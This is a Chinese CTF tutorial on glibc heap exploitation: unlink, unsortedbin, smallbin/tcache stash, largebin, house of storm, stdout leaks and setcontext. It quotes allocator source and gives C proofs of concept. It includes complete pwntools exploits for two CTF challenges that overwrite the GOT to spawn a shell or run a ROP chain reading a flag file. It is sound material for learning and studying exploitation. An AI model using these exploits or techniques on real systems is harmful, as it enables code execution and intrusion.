当smallbinfree时,会检查前后的chunk,如果前后的chunk处于free状态,就会执行合并操作
即 FD -> bk = BK , BK -> fd = FD
正常情况下,我们无法控制它的合并,而当程序中存在堆溢出可以修改chunk的fd以及bk时
我们就可以通过这个操作来实现某些地址写或者任意地址写
保护机制:
1.size的判断
P -> size == p -> next - chunk - presize
被free chunk 的 presize - 0x10 == 被合并chunk大小
2.FD -> bk == BK ,BK -> fd ==FD
例题1.hitcon2014_stkof
功能题,功能1:maloc 功能2:edit(存在堆溢出) 功能3:free
bss段上的结构如图
avatar
首先分配三个堆块,0x100,0x30,0x80 ,然后伪造一个free状态的chunk,并修改下一个chunk,如下图
avatar
只有fd为0x602138以及bk为0x602140是才能绕过unlink的保护
即 FD-> bk == P , BK -> fd == P
payload=p64(0)+p64(0x20)+p64(bss_ad-0x18)+p64(bss_ad-0x10)+p64(0x20)+p64(0)+p64(0x30)+p64(0x90)
unlink后的bss段如图
avatar
接着就可以往bss段上写got表然后,泄露libc地址
完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

p=process("./pwn")
#p=remote("node3.buuoj.cn",29313)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
head = 0x602140

def allo(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

bss_ad=0x602150
#fakeFD + 0x18 == bss_ad
#fakeBk + 0x10 == bss_ad
allo(0x100)#1
allo(0x30)#2
allo(0x80)#3

payload=p64(0)+p64(0x20)+p64(bss_ad-0x18)+p64(bss_ad-0x10)+p64(0x20)+p64(0)

payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
free(3)
payload=p64(0)+p64(elf.got["free"])+p64(elf.got["puts"])+p64(elf.got["atoi"])
edit(2,len(payload),payload)
edit(0,8,p64(elf.plt["puts"]))
free(1)
p.recvline()
ad=u64(p.recv(6).ljust(8,"\x00"))
log.info("ad: "+hex(ad))

libc_base=ad-libc.sym["puts"]
sys_ad=libc_base+libc.sym["system"]
edit(2,8,p64(sys_ad))
p.sendline("/bin/sh\x00")
p.interactive()

libc-2.29及以上版本

高版本增加了对presize的检查如下

1
2
3
4
5
6
7
8
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

这一段代码检查unlink的堆与被free的堆的presize大小是否相同

八.unsortedbin attack

unsortedbin attack 一般有两种用途,1.泄露libc 2.通过bk->fd = ad 进行FSOP
待补充

bk->fd = ad原理

当malloc时,会执行如下代码

1
2
unsorted_chunks (av)-bk = bck;
bck -> fd = unsorted_chunks(av);

如果修改bk = target - 0x10,target 就会填入main_arena上指向该unsortedbin的地址
avatar

九.smallbin attack

源代码

libc-2.23中关于smallbin的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)//获取smallbin最后一个bin判断是否为空
{
if (victim == 0)
malloc_consolidate (av);//初始化
else
{
bck = victim->bk;//获取smallbin中倒数第二个堆
if (__glibc_unlikely (bck->fd != victim))//检查
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);//设置inuse位
bin->bk = bck;//修改smallbin链表,取出smallbin最后一个chunk
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

在学习漏洞之前我们先来学习smallbin的分配机制以及结构
smallbin分配的流程大致为:
1.判断分配chunk的大小属于smallbin后,获取idx以及smallbin的链表头(即main_arena部分)
2.判断smallbin链表是否为空,为空则初始化
3.不为空则检查链表的完整性(victim->bk->fd==victim)
4.通过检查后,修改链表,检查chunk结构之后就能得到smallbin中最后一个chunk
smallbin链表结构是通过main_arena+offset控制main_arena+offset -> fd = 堆头,main_arena -> bk = 堆尾
漏洞点在于bck = victim -> bk和bck -> fd = bin当我们控制了victim -> bk后,绕过bck -> fd != victim后,bck->fd处就会写入bin的地址
smallbin链表结构图,如图

当smallbin中只有堆a时,main_arena+offset -> fd = main_arena+offset -> bk = a,
当smallbin中有两个堆,堆a和堆b时,此时可以看到main_arena通过fd和bk将a和b连接
成环,通过fd或bk索引都能回到main_arnea+offset。
当smallbin中有更多的堆时,原理和两个堆时一致。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<stdlib.h>

int main(){
unsigned long *heap = malloc(0x100);
unsigned long *fake_heap = malloc(0x100);
unsigned long *heap2 = malloc(0x100);
unsigned long *heap3 = malloc(0x100);
unsigned long *heap4 = malloc(0x100);

free(heap);
free(heap2);

malloc(0x200);

puts("breakpoint.");

*(heap + 1) = fake_heap - 2;
*fake_heap = heap - 2;

puts("breakpoint.");
unsigned long *heap5 = malloc(0x100);

*(fake_heap + 1) = heap3 - 2;
*heap3 = fake_heap - 2;
puts("breakpoint1.");
unsigned long *heap6 = malloc(0x100);
*fake_heap = 0x6161616161616161;
*(heap6 + 1) = 0x6262626262626262;
puts("breakpoint1.");
}

调试

整体的思路为:将heap放入smallbin,然后修改heap的bk指向fake_heap,并修改fake_heap的fd绕过保护(在得到fake_
heap时也有bk的验证,因此需要再找一个堆绕过保护)
最后得到fake_heap,以实现任意地址写
首先创建5个堆,然后将两个不相邻的smallbin放入unsortedbin中(如果相邻的话两个smallbin会合并),
然后分配大小大于0x100的堆将堆从unsotedbin放入smallbin中
此时smallbin的结构,如图

此时我们将heap的bk改为fake_heap,并将fake_heap的fd指向heap,如图

现在将heap取出,然后将fake_heap的bk指向heap3,并将heap3的fd指向fake_heap,如图

此时再malloc得到的堆为fake_heap

可以看到此时smallbin中,0x602110(伪造的heap)这个堆被取走了只剩下0x602330,并且可以看到此时fake_heap的fd和bk正好被修改为0x6161616161616161和0x6262626262626262

在libc-2.29和更高版本中,使用calloc分配chunk时存在漏洞
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 if (in_smallbin_range (nb))  
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck; //将victim从small bin的链表中卸下
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //将当前chunk从small bin里卸下
bck->fd = bin;
//放入tcache bin里
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

漏洞点为bck = tc_victim->bk;bck->fd = bin;calloc时会判断tcache中是否存在位置,存在则将
smallbin放入tcache,只有第一次放入smallbin时才有检查,只要保证smallbin中存在两个smallbin,然后
修改最后一个chunk的bk = fake_ad,calloc触发,则fake_ad->fd就能被写入bin

例题.hitcon_ctf_2019_one_punch

保护全开,libc-2.29,开了沙盒,这个题需要注意的是需要通过别的堆的tcache stash unlink,来将0x217的
数量改为0x7f,然后就可以实现任意地址分配了,还有一个需要注意的问题时,我们需要保证对应tcache的数量
为6通过又要使smallbin中存在两个对应大小的chunk需要通过malloc_consolidate整理unsotedbin(即利用
已经存在的unsotedbin,是切割后的大小为对应smallbin的大小,然后就会被放入对应的smallbin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

libc = ELF("/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
libc_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so"

p = process([ld_path, "./hitcon_ctf_2019_one_punch"], env={"LD_PRELOAD":libc_path})
context(log_level = "debug")

#libc = ELF("./libc-2.29.so")
#p = remote("node4.buuoj.cn",27917)
def add(idx,con):
p.sendlineafter("> ","1")
p.sendlineafter("idx: ",str(idx))
p.sendafter("name: ",con)

def change(idx,con):
p.sendlineafter("> ","2")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("name: ",con)

def show(idx):
p.sendlineafter("> ","3")
p.sendlineafter("idx: ",str(idx))

def delete(idx):
p.sendlineafter("> ","4")
p.sendlineafter("idx: ",str(idx))

def malloc(con):
p.sendlineafter("> ","50056")
p.send(con)

add(0,"a"*0x100)
add(1,"b"*0x400)
add(2,"c"*0x200)


for i in range(5):
delete(0)
change(0,p64(0))
delete(0)
show(0)
p.recvuntil("name: ")
heap = u64(p.recv(6).ljust(8,b"\x00")) - 0x260
log.info("heap: " + hex(heap))
for i in range(7):
delete(1)
change(1,p64(0))
delete(1)
show(1)
p.recvuntil("name: ")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("heap: " + hex(libc_base))
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

add(1,"a"*0x2f0)
add(2,"b"*0x400)
add(1,"b"*0x200)
delete(2)
add(1,"b"*0x2f0)
add(0,"c"*0x400)
change(2,b"b"*0x2f0 + p64(0) + p64(0x111) + p64(heap + 0x660) + p64(heap + 0x20 - 5))

add(1,"a"*0x217)
delete(1)
change(1,p64(0))
delete(1)
change(1,p64(malloc_hook))
add(0,"b"*0x100)
malloc("./flag\x00")
flag_addr = 5056 + heap
malloc(p64(add_rsp_48))
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
gdb.attach(p)
add(1,rop)

p.interactive()

十.largebin attack

largebinattack相关原理

size >= 0x400属于largebin(64)
largebin中的chunk由大到小排列,并且通过fd/bk/fd_nextsize/bk_nextsize来管理
其中fd_nextsize指向比当前堆头小的堆块,bk_nextsize指向比当前大的堆块
相同大小的堆块会放在同一个堆头
avatar
结构体

1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

申请large部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
if (!in_smallbin_range (nb))//判断大小是否属于   largebin
{
bin = bin_at (av, idx);//判断bin的位置
/* 如果最大的chunk太小,或者为空就跳过扫描 */
if ((victim = first (bin)) != bin//bin中没有堆就不继续
&& (unsigned long) chunksize_nomask (victim)//判断最大的chunk是否大于申请的chunk
>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;//寻找>=nb的堆
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)//不是最后一个堆直接用相同堆头的下一个堆,减少赋值操作
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;
remainder_size = size - nb;//剩下的大小
unlink_chunk (av, victim);
/* Exhaust */
if (remainder_size < MINSIZE)//如果剩下的堆的大小<minsize则直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* Split */
else
{//如果剩下得到堆的大小可以构成堆就放到unsortedbin中
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

申请largebin流程
1.判断bin中是否存在条件的堆
2.若存在则寻找定位到符合条件的堆(通过bk_nextsize遍历)
3.调用unlink把堆从链表上卸下来
4.根据找到的堆的大小,返回空间
unlink源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))//检查大小chunksize != pre_chunk_nextchunk
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;//链表后面的堆
mchunkptr bk = p->bk;//链表前面的堆
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");//unlink检查,没什么
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

unlink大致的流程为
1.检查当前size的大小
2.保证链表的完整性,即fd->bk == p,bk->fd == p
3.然后就是正常的smallbin unlink(fd->bk = fd, bk->fd = bk)
4.检查是否为largebin和它的fd_nextsize是否为空
5.进入if后,就是largebin的fd_nextsize和bk_nextsize检查
place chunk in bins源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);//获取要插入的bin的idx
bck = bin_at (av, victim_index);//当前index中最小的chunk(得到的是main_arena + offset)
fwd = bck->fd;//当前index中最大的chunk,若没有chunk,bck->fd == bck
/* maintain large bins in sorted order */
if (fwd != bck)//存在chunk
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//小于当前bin最小的chunk则直接插到后面
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{//不小于则找位置插入chunk
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size//如果大小正好为堆头则直接插入堆头的下一个节点
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//注意这里
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//设置fd_nextsize和bk_nextsize为它自己
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

place in chunk 流程:
1.获取插入bin的idx,若此时存在chunk,则判断插入的位置,不存在则直接设置当前bin的堆头
2.小于最小的chunk则放最后
3.不小于则从bin中寻找比它大的堆,如果寻找到的堆正好大小与它相同,则直接插在堆头的后面
5.并且不设置fd_nextsize与bk_nextsize
6.否则就放到堆头后面
接下来将结合一个例子来理解place chunk in bin
example.c如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>

int main(){
long *a = malloc(0x450);
long *b = malloc(0x440);
long *c = malloc(0x430);
long *d = malloc(0x20);

free(a);
long *e = malloc(0x600);
free(c);
long *f = malloc(0x600);
printf("ad: %p",e);
}

第一次malloc(0x600)之后,a被放到largebin中,如图
avatar
此时 bck = 0x7ffff7faefe0 fwd =0x555555559290 a = 0x555555559290
此时我们再把c释放掉,如图
avatar
此时初始的bck = 0x7ffff7faefe0 fwd = 0x555555559b40
通过判断条件改变后的bck = 0x555555559290 fwd = 0x7ffff7faefe0
此时b = victim = 0x555555559b40 b->fd_nextsize = a
b->bk_nextsize = a a->bk_nextsize = b a->fd_nextsize = b
b->fd = 0x7ffff7faefe0 b->bk = 0x555555559290
正好与源码部分一一对应,至于其它情况也差不太多,对照源码调试就能理解了
largebin attack的两种方式
1.申请largebin过程中,伪造largebin的bk_nextsize,实现非预期内存申请
2.在place in chunk中,伪造largebin的bk_nextsize和bk,实现任意地址写堆地址
第一种方式,挺好理解的
相关源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (!in_smallbin_range (nb))//判断大小是否属于   largebin
{
bin = bin_at (av, idx);//判断bin的位置
/* 如果最大的chunk太小,或者为空就跳过扫描 */
if ((victim = first (bin)) != bin//bin中没有堆就不继续
&& (unsigned long) chunksize_nomask (victim)//判断最大的chunk是否大于申请的chunk
>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;//寻找>=nb的堆,漏洞点
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)//不是最后一个堆直接用相同堆头的下一个堆,减少赋值操作
&& chunksize_nomask (victim)//判断大小与后一个堆的大小是否相同
== chunksize_nomask (victim->fd))
victim = victim->fd;
remainder_size = size - nb;//剩下的大小
unlink_chunk (av, victim);

将largebin的bk_nextsize设为target,并设置target->fd和target->bk,fd_nextsize和bk_nextsize设为0(
跳过largebin的fd_nextsize和bk_nextsize的检查)
第二种方式,相关源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);//获取要插入的bin的idx
bck = bin_at (av, victim_index);//当前index中最小的chunk(得到的是main_arena + offset)
fwd = bck->fd;//当前index中最大的chunk,若没有chunk,bck->fd == bck
/* maintain large bins in sorted order */
if (fwd != bck)//存在chunk
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//小于当前bin最小的chunk则直接插到后面
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//漏洞点1.设置victim->bk_nextsize = target-0x20,则target->fd_nextsize = victem
}
else
{//不小于则找位置插入chunk
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size//如果大小正好为堆头则直接插入堆头的下一个节点
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//注意这里
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;//漏洞点2
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//设置fd_nextsize和bk_nextsize为它自己
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//漏洞点2

(参考https://www.anquanke.com/post/id/183877#h3-3)

十一.house of storm

house of storm结合了unsotedbin attack以及largebin attack,原理是通过largebin attack来向目标地
标地址伪造size,然后利用伪造的size,通过unsotedbin attack实现任意地址分配
关于largebinattack的部分参考十.largebinattack
当分配一个chunk时,会先检查unsortedbin中有无合适的chunk,当没有时,就会发生如下的部分(将unsorted
bin 中的chunk插入到largebin)
漏洞部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
else
{
victim_index = largebin_index (size);//获取idx
bck = bin_at (av, victim_index);//获取main_arena的地址
fwd = bck->fd;//获取最大的堆
....
....
....
// 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;//此时fwd为main_arena+offset
bck = bck->bk;//此时bk为最小的堆的指针
victim->fd_nextsize = fwd->fd;//将放入largebin的堆的fd_nextsize 设置为最大的堆
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
// 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。
// 直到满足size>=large bin chunk size
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
// 插入
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里没啥,一般都能看懂
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//设置fd以及bk

漏洞点在这个地方(双向链表插入)

1
2
3
4
5
6
7
8
9
10
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;//victim是要放入largebin的堆,fwd是largebin中已有的堆,要比victim大
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

注意这里

1
2
fwd->bk_nextsize = victim;
fwd->bk = victim;

只要我们可以控制bk_nextsize以及bk就能向两个地址写堆地址(开了pie,一般情况下堆的首地址是0x55或0x56,
可以通过这样在对应地址写入size)
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;

int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;

unsorted_bin=malloc(0x418);#idx 0
malloc(0X18);#fence
large_bin=malloc(0x408);#idx 1
malloc(0x18);#fence

free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);

fake_chunk=((unsigned long)fake.content) - 0x10;
unsorted_bin[0] = 0;
unsorted_bin[1] = (unsigned long)fake_chunk;

large_bin[0] = 0;
large_bin[1] = (unsigned long)fake_chunk + 8;
large_bin[2] = 0;
large_bin[3] = (unsigned long)fake_chunk - 0x18 - 5;

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}

漏洞利用条件:
1.largebin存在chunk,并且可以控制bk、bk_nextsize、fd、fd_nextsize
2.存在一个unsortedbin,并且可以控制fd以及bk,需要保证unsortedbin的size小于largebin中的chunk

十二.stdout泄露libc

利用方式:通过main_arena分配到stdout上的空间然后修改flags以及write_base
在堆中一般结合uaf来实现向stdout上写入内容,首先需要保证堆上有main_arena,然后需要使main_arena -> stdout,
在libc-2.27以下,由于是fastbin,需要保证fd处的地址 + 8 有0x7f之类的数据并满足0x000000000000nn,一般都是修改
最后两位为x5dd
payload 如下

1
2
payload = "\x00"*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0x88)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["_IO_2_1_stdin_"]

十三.使用setcontext来进行orw

例题buu -> rctf_2019_babyheap
setcontext的内容如下,其中setcontex + 53处mov rsp,以及mov rcx + push rcx这两个东西可以劫持程序流程
这里的偏移和frame中的rsp 和 rip一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x7f0ec725bb50 <setcontext>:	push   rdi
0x7f0ec725bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7f0ec725bb58 <setcontext+8>: xor edx,edx
0x7f0ec725bb5a <setcontext+10>: mov edi,0x2
0x7f0ec725bb5f <setcontext+15>: mov r10d,0x8
0x7f0ec725bb65 <setcontext+21>: mov eax,0xe
0x7f0ec725bb6a <setcontext+26>: syscall
0x7f0ec725bb6c <setcontext+28>: pop rdi
0x7f0ec725bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7f0ec725bb73 <setcontext+35>: jae 0x7f0ec725bbd0 <setcontext+128>
0x7f0ec725bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7f0ec725bb7c <setcontext+44>: fldenv [rcx]
0x7f0ec725bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7f0ec725bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7f0ec725bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7f0ec725bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7f0ec725bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7f0ec725bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7f0ec725bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
